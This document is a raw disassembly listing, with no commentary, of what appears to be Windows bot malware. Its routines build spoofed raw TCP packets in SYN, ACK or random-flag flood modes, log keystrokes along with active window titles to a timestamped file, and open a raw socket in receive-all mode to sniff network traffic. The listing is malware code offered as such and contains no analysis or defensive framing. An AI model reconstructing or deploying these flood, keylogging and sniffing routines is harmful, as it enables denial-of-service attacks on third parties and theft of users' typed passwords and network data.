		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43AD98
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43AD98
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2610B12h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 261080Eh
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43AD98
		mov	[ebp+var_34], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43AD98
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43AD94
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43AD98
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 261080Eh
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------

loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------

loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]

loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	dword_43AE30
		pop	esi

loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	dword_43ACF8
		mov	eax, ebx

loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax

loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_424058
		call	edi
		push	eax
		call	sub_417302
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h

loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 26102D3h
		nop

loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h

loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43AD98
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax

loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43AD98
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730C
		mov	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------

loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_20], eax

loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------

loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]

loc_40201E:				; CODE XREF: sub_401D82+294j
		call	dword_43AD98
		mov	[ebp+var_16], ax
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43AD98
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43AD94
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43AD98
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43AD98
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------

loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	dword_43AE30
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h

loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	dword_43AE30
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 26102D3h
		nop
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		nop
		call	near ptr 26204B9h
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F684
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------

loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h

loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax

loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43AD34
		mov	ebx, 200h

loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		nop
		call	near ptr 2610F41h
		call	dword_43AD20
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB ; "b"

loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	dword_43AC78
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43AD64
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	dword_43AC78
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	dword_43AC78
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------

loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------

loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659

loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------

loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax

loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx

loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 26102D3h
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43AD98
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h

loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h

loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43AD44
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
